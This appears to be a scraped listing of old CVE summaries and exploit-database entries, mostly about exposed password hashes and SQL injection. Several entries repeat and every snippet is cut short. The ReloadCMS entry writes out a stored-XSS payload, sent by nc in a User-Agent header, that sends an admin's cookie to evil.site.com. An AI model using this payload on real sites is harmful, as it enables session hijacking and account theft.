CVE-2005-4775: Undefined Security Weakness

Michael Scholz and Sebastian Stein Contineo 2.0, when the admin account lacks an e-mail address attribute, displays the password hash in a warning upon page reload, which might allow remote attackers to view the hash...

ReloadCMS-1.2.5.txt

nc target.host.com 80 GET /pathtoreloadcms/ HTTP/1.0 User-Agent: "window.open"http://evil.site.com/grab.php?c="+document.cookie+"&ref="+document.URL;window.close; Host: target.host.com Connection: Close So, when admin see site statistics through the administration panel, javascript will run Once...

CVE-2006-1058: Use of Password Hash With Insufficient Computational Effort

BusyBox 1.1.1 does not use a salt when generating passwords, which makes it easier for local users to guess passwords from a stolen password file using techniques such as rainbow tables...

CVE-2006-1412: Undefined Security Weakness

TFT Gallery 0.10 stores sensitive information under the web root with insufficient access control, which allows remote attackers to download the admin password file and obtain password hashes via a direct request to admin/passwd...

SPIP < 1.8.2-g SQL Injection and XSS Flaws

The remote web server has a PHP application that is affected by multiple flaws. Description: The remote host is running SPIP, an open-source CMS written in PHP. The remote version of this software is prone to SQL injection and cross site scripting attacks. An attacker could send specially crafted...

TFT Gallery 0.10 - Password Disclosure

!/usr/bin/perl Copyright C undefined1 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or at your option any later version. This program is...

Improper access control

PHP Upload Center stores password hashes under the web root with insufficient access control, which allows remote attackers to download each password hash via a direct request for the upload/users/USERNAME file...

CVE-2005-4689: Undefined Security Weakness

Six Apart Movable Type 3.16 stores account names and password hashes in a cookie, which allows remote attackers to login to an account by sniffing the cookie...

CVE-2006-0439: Undefined Security Weakness

Text Rider 2.4 stores sensitive data in the data directory under the web document root with insufficient access control, which allows remote attackers to obtain usernames and password hashes by directly accessing data/userlist.txt...

MiniNuke 1.8.2 - Multiple SQL Injections

Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: MiniNuke www.miniex.net Version: 1.8.2 and prior versions must be affected. About:Via this method remote attacker can inject SQL query to the news.asp --- How&Example: GET -...

CVE-2005-4775

Michael Scholz and Sebastian Stein Contineo 2.0, when the admin account lacks an e-mail address attribute, displays the password hash in a warning upon page reload, which might allow remote attackers to view the hash...

Dev Web Management System 1.5 - cat SQL Injection

Dev Web Management System 1.5 - cat SQL Injection this works regardless of magicquotesgpc setting usage: launch from Apache, fill in requested fields, then go! Sun-Tzu: "Prohibit the taking of omens, and do away with superstitious doubts. Then, until death itself comes, no calamity need be feared...

CVE-2005-4448

FlatNuke 2.5.6 verifies authentication credentials based on an MD5 checksum of the admin name and the hashed password rather than the plaintext password, which allows attackers to gain privileges by obtaining the password hash possibly via CVE-2005-2813, then calculating the credentials and...

CVE-2005-4448

FlatNuke 2.5.6 verifies authentication credentials based on an MD5 checksum of the admin name and the hashed password rather than the plaintext password, which allows attackers to gain privileges by obtaining the password hash possibly via CVE-2005-2813, then calculating the credentials and...

CVE-2005-4345

Adobe formerly Macromedia ColdFusion MX 7.0 exposes the password hash of the Administrator in an API call, which allows local developers to obtain the hash and gain privileges...

CVE-2005-4345

CVE-2005-4345 affects Adobe ColdFusion MX 7.0. The vulnerability arises because the Administrator password hash is exposed via an API call, allowing local developers to obtain the hash and gain privileges. This is documented in the NVD entry for CVE-2005-4345. The connected data confirms the affe...

CVE-2005-4345

Adobe formerly Macromedia ColdFusion MX 7.0 exposes the password hash of the Administrator in an API call, which allows local developers to obtain the hash and gain privileges...

CVE-2005-4345: Undefined Security Weakness

Adobe formerly Macromedia ColdFusion MX 7.0 exposes the password hash of the Administrator in an API call, which allows local developers to obtain the hash and gain privileges...

Cyphor 0.19 - 'show.php?id' SQL Injection

!/bin/env perl //----------------------------------------------------------- // Cyphor Forum SQL Injection Exploit .. By HACKERS PAL // Greets For Devil-00 - Abducter - Almaster // http://WwW.SoQoR.NeT //----------------------------------------------------------- use LWP::Simple; print "\n"; prin...

Unclassified NewsBoard 1.5.3 Patch 3 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================ Unclassified NewsBoard 1.5.3 Patch 3 Blind SQL Injection Exploit ================================================================ ?php ---UNB153pl3xpl.php 11.35 12/11/2005...